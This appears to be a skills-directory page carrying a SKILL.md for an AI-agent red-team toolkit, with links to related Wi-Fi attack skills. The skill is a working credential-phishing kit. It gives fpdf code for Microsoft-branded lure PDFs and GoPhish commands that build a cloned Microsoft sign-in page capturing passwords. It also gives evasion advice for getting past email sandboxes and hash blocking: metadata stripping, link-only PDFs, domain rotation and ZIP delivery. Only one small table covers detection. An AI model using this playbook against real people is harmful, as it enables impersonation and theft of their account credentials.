[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HXHFVCKP6WNDF9W5D2JSK":3,"skill-same:01M78HXHFVCKP6WNDF9W5D2JSK":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":13,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M78HXHFVCKP6WNDF9W5D2JSK","pdf-credential-harvest",null,"Weaponized PDF attachments that redirect victims to fake authentication portals (SharePoint, M365, Google Workspace) — no exploit, no macro, just a convincing document with embedded links to a credential-capture page.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fpdf-credential-harvest\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: pdf-credential-harvest\ndescription: \"Weaponized PDF attachments that redirect victims to fake authentication portals (SharePoint, M365, Google Workspace) — no exploit, no macro, just a convincing document with embedded links to a credential-capture page.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: phishing\n  when_to_use: \"pdf phishing credential harvest sharepoint m365 google workspace fake login portal attachment lure fpdf reportlab pdf link\"\n  mitre_attack:\n    - T1566.001\n    - T1204.002\n    - T1598.003\n  tags:\n    - phishing\n    - pdf\n    - credential-harvest\n    - sharepoint\n    - m365\n---\n\n# PDF Credential Harvest\n\nA weaponised PDF requires no exploit and no macro — it is a\npixel-perfect document themed as a SharePoint sharing notification,\nMicrosoft 365 voicemail, or similar business pretext. The PDF contains\nan embedded link (button or full-page overlay) pointing at a\ncredential-capture landing page. Because the PDF itself is benign\n(no JavaScript, no embedded files), it passes most sandbox detonation.\n\n## Prerequisites\n\n- Python `fpdf2` or `reportlab` in the sandbox.\n- GoPhish campaign infrastructure configured (`gophish-campaign`).\n- A credential-harvest landing page on a `lookalike-domain`.\n- Microsoft-branded assets (logo SVG\u002FPNG) for template fidelity.\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Generate a SharePoint-themed PDF with harvest link\npython3 \u002Fworkspace\u002Fgen_pdf_lure.py \\\n  --template sharepoint \\\n  --url \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id={{.RId}}\" \\\n  --output \u002Fworkspace\u002FSharedDocument.pdf\n\n# Strip metadata\nexiftool -all= \u002Fworkspace\u002FSharedDocument.pdf\n\n# Upload to GoPhish as email attachment\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d @\u002Fworkspace\u002Ftemplate_with_pdf.json\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Phishing: Spearphishing Attachment | T1566.001 | PDF delivered as email attachment |\n| User Execution: Malicious File | T1204.002 | Victim opens PDF and clicks embedded link |\n| Phishing for Information: Spearphishing Link | T1598.003 | Link leads to credential-capture portal |\n\n## 1. SharePoint-Themed PDF\n\nMimics the \"Someone shared a document with you\" SharePoint notification:\n\n```python\nfrom fpdf import FPDF\n\nclass SharePointPDF(FPDF):\n    def header(self):\n        self.set_fill_color(0, 120, 212)  # Microsoft blue\n        self.rect(0, 0, 210, 45, 'F')\n        self.set_font(\"Helvetica\", \"B\", 18)\n        self.set_text_color(255, 255, 255)\n        self.set_y(12)\n        self.cell(0, 10, \"SharePoint\", align=\"C\")\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = SharePointPDF()\npdf.add_page()\npdf.set_y(55)\npdf.set_text_color(0, 0, 0)\npdf.set_font(\"Helvetica\", \"B\", 14)\npdf.cell(0, 10, \"\u003CSENDER_NAME> shared a file with you\", ln=True, align=\"C\")\npdf.ln(5)\npdf.set_font(\"Helvetica\", \"\", 11)\npdf.multi_cell(0, 6,\n    \"You have received a secure document via SharePoint Online. \"\n    \"Click the button below to view the document. You may be asked \"\n    \"to verify your identity.\")\npdf.ln(10)\n\n# Clickable button\npdf.set_fill_color(0, 120, 212)\npdf.set_text_color(255, 255, 255)\npdf.set_font(\"Helvetica\", \"B\", 13)\nbw, bh = 70, 12\nbx = (210 - bw) \u002F 2\npdf.set_xy(bx, pdf.get_y())\npdf.cell(bw, bh, \"Open Document\", align=\"C\", fill=True, link=HARVEST)\n\npdf.ln(20)\npdf.set_text_color(120, 120, 120)\npdf.set_font(\"Helvetica\", \"I\", 8)\npdf.cell(0, 5, \"Microsoft Corporation - One Microsoft Way, Redmond, WA\", align=\"C\")\npdf.output(\"\u002Fworkspace\u002FSharedDocument.pdf\")\n```\n\n## 2. M365 Voicemail-Themed PDF\n\nMimics a Microsoft 365 voicemail notification — high urgency, short\ncontent, single \"Play Voicemail\" button:\n\n```python\nfrom fpdf import FPDF\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = FPDF()\npdf.add_page()\npdf.set_fill_color(243, 242, 241)\npdf.rect(0, 0, 210, 297, 'F')\n\npdf.set_y(40)\npdf.set_font(\"Helvetica\", \"B\", 16)\npdf.set_text_color(50, 50, 50)\npdf.cell(0, 10, \"You have a new voicemail\", ln=True, align=\"C\")\npdf.ln(4)\npdf.set_font(\"Helvetica\", \"\", 11)\npdf.set_text_color(80, 80, 80)\npdf.cell(0, 7, \"From: \u003CCALLER_NUMBER>\", ln=True, align=\"C\")\npdf.cell(0, 7, \"Duration: 0:47\", ln=True, align=\"C\")\npdf.cell(0, 7, \"Received: \u003CDATE_TIME>\", ln=True, align=\"C\")\npdf.ln(12)\n\npdf.set_fill_color(0, 120, 212)\npdf.set_text_color(255, 255, 255)\npdf.set_font(\"Helvetica\", \"B\", 13)\nbw, bh = 60, 12\npdf.set_x((210 - bw) \u002F 2)\npdf.cell(bw, bh, \"Play Voicemail\", align=\"C\", fill=True, link=HARVEST)\n\npdf.output(\"\u002Fworkspace\u002FVoicemail.pdf\")\n```\n\n## 3. Full-Page Click Overlay\n\nMake the entire PDF page a single clickable link so any click anywhere\nopens the harvest URL — no button needed, just a page-sized annotation:\n\n```python\nfrom fpdf import FPDF\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = FPDF()\npdf.add_page()\n# Render the visual content (logo, text, etc.)\npdf.set_font(\"Helvetica\", \"\", 12)\npdf.cell(0, 10, \"Loading secure document...\", align=\"C\")\n# Full-page link annotation\npdf.link(0, 0, 210, 297, HARVEST)\npdf.output(\"\u002Fworkspace\u002FFullPageLure.pdf\")\n```\n\n## 4. Credential-Capture Landing Page\n\nThe harvest page clones the target's SSO portal. Configure in GoPhish:\n\n```bash\nAPI=\"https:\u002F\u002F127.0.0.1:3333\u002Fapi\"\nH=\"Authorization: Bearer $GOPHISH_API_KEY\"\n\n# M365-themed landing page\ncurl -sk -H \"$H\" -H 'Content-Type: application\u002Fjson' \"$API\u002Fpages\u002F\" -d '{\n  \"name\": \"m365-login\",\n  \"html\": \"\u003C!DOCTYPE html>\u003Chtml>\u003Chead>\u003Ctitle>Sign in - Microsoft\u003C\u002Ftitle>\u003Cstyle>body{font-family:Segoe UI,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;background:#f2f2f2}form{background:#fff;padding:44px;width:440px;box-shadow:0 2px 6px rgba(0,0,0,.2)}\u003C\u002Fstyle>\u003C\u002Fhead>\u003Cbody>\u003Cform method=POST>\u003Cimg src=\\\"https:\u002F\u002Flogincdn.msftauth.net\u002Fshared\u002F1.0\u002Fcontent\u002Fimages\u002Fmicrosoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg\\\" width=108\u002F>\u003Ch2 style=\\\"font-weight:600\\\">Sign in\u003C\u002Fh2>\u003Cinput name=email style=\\\"width:100%;padding:8px;margin:8px 0;border:1px solid #666\\\" placeholder=\\\"Email, phone, or Skype\\\"\u002F>\u003Cinput name=password type=password style=\\\"width:100%;padding:8px;margin:8px 0;border:1px solid #666\\\" placeholder=\\\"Password\\\"\u002F>\u003Cbutton style=\\\"width:100%;padding:10px;background:#0067b8;color:#fff;border:none;cursor:pointer\\\">Sign in\u003C\u002Fbutton>\u003C\u002Fform>\u003C\u002Fbody>\u003C\u002Fhtml>\",\n  \"capture_credentials\": true,\n  \"capture_passwords\": true,\n  \"redirect_url\": \"https:\u002F\u002Flogin.microsoftonline.com\"\n}'\n```\n\n## 5. GoPhish Email Template with PDF Attachment\n\n```bash\n# Create template referencing the PDF attachment\ncurl -sk -H \"$H\" -H 'Content-Type: application\u002Fjson' \"$API\u002Ftemplates\u002F\" -d '{\n  \"name\": \"sharepoint-share\",\n  \"subject\": \"\u003CSENDER_NAME> shared \\\"Q3 Report\\\" with you\",\n  \"html\": \"\u003Cp>Hi {{.FirstName}},\u003C\u002Fp>\u003Cp>Please review the attached document.\u003C\u002Fp>\u003Cp style=\\\"color:#999;font-size:10px\\\">Microsoft SharePoint Online {{.Tracker}}\u003C\u002Fp>\",\n  \"attachments\": [{\n    \"name\": \"SharedDocument.pdf\",\n    \"content\": \"\u003CBASE64_PDF_CONTENT>\",\n    \"type\": \"application\u002Fpdf\"\n  }]\n}'\n```\n\n## OPSEC\n\n- **Strip PDF metadata** before delivery:\n  `exiftool -all= -overwrite_original \u002Fworkspace\u002F*.pdf`\n- **No JavaScript in the PDF** — JS triggers sandbox detonation in\n  Proofpoint \u002F Mimecast \u002F Defender. Links-only PDFs pass.\n- **Randomize PDF structure**: vary object order, producer string, and\n  creation dates across waves to avoid hash-based blocking.\n- **File name**: match the pretext (e.g., `SharedDocument.pdf`,\n  `Voicemail_\u003CDATE>.pdf`). Avoid `payload.pdf`.\n- Send rate matches `opsec_level` (stealth ≤2\u002Fh, standard ≤20\u002Fh).\n- Every template carries the engagement header + opt-out link.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| `fpdf2` (Python) | PDF generation with clickable link annotations |\n| `reportlab` (Python) | Advanced PDF generation with richer layout |\n| GoPhish | Campaign delivery, tracking, credential capture |\n| `exiftool` | Metadata stripping before delivery |\n| `wkhtmltopdf` | HTML-to-PDF conversion for complex templates |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| PDF with external URI annotation | Email gateway | PDF link objects pointing at non-corporate domains |\n| Credential submission from phish page | GoPhish \u002F proxy logs | POST to harvest domain with username + password |\n| Unusual PDF attachment from external sender | Mail flow rules | PDFs from first-time senders with link annotations |\n| Browser navigation to lookalike domain | Proxy \u002F DNS logs | Domain not in corporate allow-list |\n\n## Error Handling & Edge Cases\n\n- **PDF renders blank in webmail preview**: some webmail clients\n  (OWA, Gmail) render PDFs inline without honouring link annotations.\n  Mitigation: add visible \"Click here\" text with underline styling.\n- **Harvest domain flagged by SmartScreen**: rotate to a backup domain\n  or use a redirector chain (`lookalike → redirector → harvest`).\n- **PDF blocked by file-type policy**: rename extension to `.PDF`\n  (case variation) or deliver inside a ZIP. Check target's mail policy.\n- **reportlab vs fpdf2**: `reportlab` supports more advanced layout\n  (tables, SVG embedding) but is heavier. Use `fpdf2` for simple\n  single-page lures.\n\n## Decision Gate\n\n```\nIF target email gateway detonates PDF link annotations\n  → use full-page click overlay (harder for sandbox to detect link area)\n  → OR deliver PDF inside password-protected ZIP\nELIF target org uses SharePoint heavily\n  → use SharePoint-themed template\nELIF voicemail pretext matches target culture\n  → use M365 voicemail template\nELIF target uses Google Workspace\n  → adapt template to Google Drive sharing theme\nELSE\n  → generic \"secure document\" theme with corporate branding\n```\n\n## Evidence\n\nCaptured credentials → `Credential` node linked to the `User` node\nwith the GoPhish tracking id. Save the PDF template hash and GoPhish\nresults under `evidence\u002Fphisher\u002F\u003Ccampaign>-pdf-harvest.json`.\n","# PDF Credential Harvest\n\nA weaponised PDF requires no exploit and no macro — it is a\npixel-perfect document themed as a SharePoint sharing notification,\nMicrosoft 365 voicemail, or similar business pretext. The PDF contains\nan embedded link (button or full-page overlay) pointing at a\ncredential-capture landing page. Because the PDF itself is benign\n(no JavaScript, no embedded files), it passes most sandbox detonation.\n\n## Prerequisites\n\n- Python `fpdf2` or `reportlab` in the sandbox.\n- GoPhish campaign infrastructure configured (`gophish-campaign`).\n- A credential-harvest landing page on a `lookalike-domain`.\n- Microsoft-branded assets (logo SVG\u002FPNG) for template fidelity.\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Generate a SharePoint-themed PDF with harvest link\npython3 \u002Fworkspace\u002Fgen_pdf_lure.py \\\n  --template sharepoint \\\n  --url \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id={{.RId}}\" \\\n  --output \u002Fworkspace\u002FSharedDocument.pdf\n\n# Strip metadata\nexiftool -all= \u002Fworkspace\u002FSharedDocument.pdf\n\n# Upload to GoPhish as email attachment\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d @\u002Fworkspace\u002Ftemplate_with_pdf.json\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Phishing: Spearphishing Attachment | T1566.001 | PDF delivered as email attachment |\n| User Execution: Malicious File | T1204.002 | Victim opens PDF and clicks embedded link |\n| Phishing for Information: Spearphishing Link | T1598.003 | Link leads to credential-capture portal |\n\n## 1. SharePoint-Themed PDF\n\nMimics the \"Someone shared a document with you\" SharePoint notification:\n\n```python\nfrom fpdf import FPDF\n\nclass SharePointPDF(FPDF):\n    def header(self):\n        self.set_fill_color(0, 120, 212)  # Microsoft blue\n        self.rect(0, 0, 210, 45, 'F')\n        self.set_font(\"Helvetica\", \"B\", 18)\n        self.set_text_color(255, 255, 255)\n        self.set_y(12)\n        self.cell(0, 10, \"SharePoint\", align=\"C\")\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = SharePointPDF()\npdf.add_page()\npdf.set_y(55)\npdf.set_text_color(0, 0, 0)\npdf.set_font(\"Helvetica\", \"B\", 14)\npdf.cell(0, 10, \"\u003CSENDER_NAME> shared a file with you\", ln=True, align=\"C\")\npdf.ln(5)\npdf.set_font(\"Helvetica\", \"\", 11)\npdf.multi_cell(0, 6,\n    \"You have received a secure document via SharePoint Online. \"\n    \"Click the button below to view the document. You may be asked \"\n    \"to verify your identity.\")\npdf.ln(10)\n\n# Clickable button\npdf.set_fill_color(0, 120, 212)\npdf.set_text_color(255, 255, 255)\npdf.set_font(\"Helvetica\", \"B\", 13)\nbw, bh = 70, 12\nbx = (210 - bw) \u002F 2\npdf.set_xy(bx, pdf.get_y())\npdf.cell(bw, bh, \"Open Document\", align=\"C\", fill=True, link=HARVEST)\n\npdf.ln(20)\npdf.set_text_color(120, 120, 120)\npdf.set_font(\"Helvetica\", \"I\", 8)\npdf.cell(0, 5, \"Microsoft Corporation - One Microsoft Way, Redmond, WA\", align=\"C\")\npdf.output(\"\u002Fworkspace\u002FSharedDocument.pdf\")\n```\n\n## 2. M365 Voicemail-Themed PDF\n\nMimics a Microsoft 365 voicemail notification — high urgency, short\ncontent, single \"Play Voicemail\" button:\n\n```python\nfrom fpdf import FPDF\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = FPDF()\npdf.add_page()\npdf.set_fill_color(243, 242, 241)\npdf.rect(0, 0, 210, 297, 'F')\n\npdf.set_y(40)\npdf.set_font(\"Helvetica\", \"B\", 16)\npdf.set_text_color(50, 50, 50)\npdf.cell(0, 10, \"You have a new voicemail\", ln=True, align=\"C\")\npdf.ln(4)\npdf.set_font(\"Helvetica\", \"\", 11)\npdf.set_text_color(80, 80, 80)\npdf.cell(0, 7, \"From: \u003CCALLER_NUMBER>\", ln=True, align=\"C\")\npdf.cell(0, 7, \"Duration: 0:47\", ln=True, align=\"C\")\npdf.cell(0, 7, \"Received: \u003CDATE_TIME>\", ln=True, align=\"C\")\npdf.ln(12)\n\npdf.set_fill_color(0, 120, 212)\npdf.set_text_color(255, 255, 255)\npdf.set_font(\"Helvetica\", \"B\", 13)\nbw, bh = 60, 12\npdf.set_x((210 - bw) \u002F 2)\npdf.cell(bw, bh, \"Play Voicemail\", align=\"C\", fill=True, link=HARVEST)\n\npdf.output(\"\u002Fworkspace\u002FVoicemail.pdf\")\n```\n\n## 3. Full-Page Click Overlay\n\nMake the entire PDF page a single clickable link so any click anywhere\nopens the harvest URL — no button needed, just a page-sized annotation:\n\n```python\nfrom fpdf import FPDF\n\nHARVEST = \"https:\u002F\u002Flogin.\u003CLURE_DOMAIN>\u002Fauth?id=\u003CTRACKING_ID>\"\n\npdf = FPDF()\npdf.add_page()\n# Render the visual content (logo, text, etc.)\npdf.set_font(\"Helvetica\", \"\", 12)\npdf.cell(0, 10, \"Loading secure document...\", align=\"C\")\n# Full-page link annotation\npdf.link(0, 0, 210, 297, HARVEST)\npdf.output(\"\u002Fworkspace\u002FFullPageLure.pdf\")\n```\n\n## 4. Credential-Capture Landing Page\n\nThe harvest page clones the target's SSO portal. Configure in GoPhish:\n\n```bash\nAPI=\"https:\u002F\u002F127.0.0.1:3333\u002Fapi\"\nH=\"Authorization: Bearer $GOPHISH_API_KEY\"\n\n# M365-themed landing page\ncurl -sk -H \"$H\" -H 'Content-Type: application\u002Fjson' \"$API\u002Fpages\u002F\" -d '{\n  \"name\": \"m365-login\",\n  \"html\": \"\u003C!DOCTYPE html>\u003Chtml>\u003Chead>\u003Ctitle>Sign in - Microsoft\u003C\u002Ftitle>\u003Cstyle>body{font-family:Segoe UI,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;background:#f2f2f2}form{background:#fff;padding:44px;width:440px;box-shadow:0 2px 6px rgba(0,0,0,.2)}\u003C\u002Fstyle>\u003C\u002Fhead>\u003Cbody>\u003Cform method=POST>\u003Cimg src=\\\"https:\u002F\u002Flogincdn.msftauth.net\u002Fshared\u002F1.0\u002Fcontent\u002Fimages\u002Fmicrosoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg\\\" width=108\u002F>\u003Ch2 style=\\\"font-weight:600\\\">Sign in\u003C\u002Fh2>\u003Cinput name=email style=\\\"width:100%;padding:8px;margin:8px 0;border:1px solid #666\\\" placeholder=\\\"Email, phone, or Skype\\\"\u002F>\u003Cinput name=password type=password style=\\\"width:100%;padding:8px;margin:8px 0;border:1px solid #666\\\" placeholder=\\\"Password\\\"\u002F>\u003Cbutton style=\\\"width:100%;padding:10px;background:#0067b8;color:#fff;border:none;cursor:pointer\\\">Sign in\u003C\u002Fbutton>\u003C\u002Fform>\u003C\u002Fbody>\u003C\u002Fhtml>\",\n  \"capture_credentials\": true,\n  \"capture_passwords\": true,\n  \"redirect_url\": \"https:\u002F\u002Flogin.microsoftonline.com\"\n}'\n```\n\n## 5. GoPhish Email Template with PDF Attachment\n\n```bash\n# Create template referencing the PDF attachment\ncurl -sk -H \"$H\" -H 'Content-Type: application\u002Fjson' \"$API\u002Ftemplates\u002F\" -d '{\n  \"name\": \"sharepoint-share\",\n  \"subject\": \"\u003CSENDER_NAME> shared \\\"Q3 Report\\\" with you\",\n  \"html\": \"\u003Cp>Hi {{.FirstName}},\u003C\u002Fp>\u003Cp>Please review the attached document.\u003C\u002Fp>\u003Cp style=\\\"color:#999;font-size:10px\\\">Microsoft SharePoint Online {{.Tracker}}\u003C\u002Fp>\",\n  \"attachments\": [{\n    \"name\": \"SharedDocument.pdf\",\n    \"content\": \"\u003CBASE64_PDF_CONTENT>\",\n    \"type\": \"application\u002Fpdf\"\n  }]\n}'\n```\n\n## OPSEC\n\n- **Strip PDF metadata** before delivery:\n  `exiftool -all= -overwrite_original \u002Fworkspace\u002F*.pdf`\n- **No JavaScript in the PDF** — JS triggers sandbox detonation in\n  Proofpoint \u002F Mimecast \u002F Defender. Links-only PDFs pass.\n- **Randomize PDF structure**: vary object order, producer string, and\n  creation dates across waves to avoid hash-based blocking.\n- **File name**: match the pretext (e.g., `SharedDocument.pdf`,\n  `Voicemail_\u003CDATE>.pdf`). Avoid `payload.pdf`.\n- Send rate matches `opsec_level` (stealth ≤2\u002Fh, standard ≤20\u002Fh).\n- Every template carries the engagement header + opt-out link.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| `fpdf2` (Python) | PDF generation with clickable link annotations |\n| `reportlab` (Python) | Advanced PDF generation with richer layout |\n| GoPhish | Campaign delivery, tracking, credential capture |\n| `exiftool` | Metadata stripping before delivery |\n| `wkhtmltopdf` | HTML-to-PDF conversion for complex templates |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| PDF with external URI annotation | Email gateway | PDF link objects pointing at non-corporate domains |\n| Credential submission from phish page | GoPhish \u002F proxy logs | POST to harvest domain with username + password |\n| Unusual PDF attachment from external sender | Mail flow rules | PDFs from first-time senders with link annotations |\n| Browser navigation to lookalike domain | Proxy \u002F DNS logs | Domain not in corporate allow-list |\n\n## Error Handling & Edge Cases\n\n- **PDF renders blank in webmail preview**: some webmail clients\n  (OWA, Gmail) render PDFs inline without honouring link annotations.\n  Mitigation: add visible \"Click here\" text with underline styling.\n- **Harvest domain flagged by SmartScreen**: rotate to a backup domain\n  or use a redirector chain (`lookalike → redirector → harvest`).\n- **PDF blocked by file-type policy**: rename extension to `.PDF`\n  (case variation) or deliver inside a ZIP. Check target's mail policy.\n- **reportlab vs fpdf2**: `reportlab` supports more advanced layout\n  (tables, SVG embedding) but is heavier. Use `fpdf2` for simple\n  single-page lures.\n\n## Decision Gate\n\n```\nIF target email gateway detonates PDF link annotations\n  → use full-page click overlay (harder for sandbox to detect link area)\n  → OR deliver PDF inside password-protected ZIP\nELIF target org uses SharePoint heavily\n  → use SharePoint-themed template\nELIF voicemail pretext matches target culture\n  → use M365 voicemail template\nELIF target uses Google Workspace\n  → adapt template to Google Drive sharing theme\nELSE\n  → generic \"secure document\" theme with corporate branding\n```\n\n## Evidence\n\nCaptured credentials → `Credential` node linked to the `User` node\nwith the GoPhish tracking id. Save the PDF template hash and GoPhish\nresults under `evidence\u002Fphisher\u002F\u003Ccampaign>-pdf-harvest.json`.\n",{"name":5,"metadata":23,"description":7,"allowed-tools":35},{"tags":24,"subdomain":25,"when_to_use":30,"mitre_attack":31},[25,26,27,28,29],"phishing","pdf","credential-harvest","sharepoint","m365","pdf phishing credential harvest sharepoint m365 google workspace fake login portal attachment lure fpdf reportlab pdf link",[32,33,34],"T1566.001","T1204.002","T1598.003","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fpdf-credential-harvest","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill pdf-credential-harvest",{"tool":48,"command":49},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill pdf-credential-harvest",{"tool":51,"command":52},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill pdf-credential-harvest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fpdf-credential-harvest\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]